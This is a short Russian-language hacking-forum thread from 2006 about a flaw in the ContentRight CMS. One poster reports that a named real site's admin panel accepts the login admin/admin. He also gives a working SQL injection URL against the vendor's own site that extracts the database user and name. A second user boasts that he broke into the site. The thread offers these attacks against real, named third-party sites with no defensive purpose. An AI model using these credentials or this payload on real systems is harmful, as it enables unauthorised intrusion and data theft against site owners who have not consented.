Уязвимость CMS ContentRight

Discussion in 'Уязвимости' started by podkashey, 12 May 2006.

  1. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    Сначала было случайно найдено, что на _http://www.nazarov-av.ru/admin/ логин и пароль admin.
    Потом оказалось, что там стоит движок _http://www.contentright.ru
    После того, как покапался на сайте нашел
    _http://www.contentright.ru/modules/?item_id=2%20union%20select%201,2,user(),database()--
    Дальше копаться не стал, так как устал и спать пора. ;)))
     
    1 person likes this.
  2. $pon$or

    $pon$or New Member

    Joined:
    8 May 2006
    Messages:
    9
    Likes Received:
    4
    Reputations:
    -12
    Я там все уделал, но к рукам не прибирал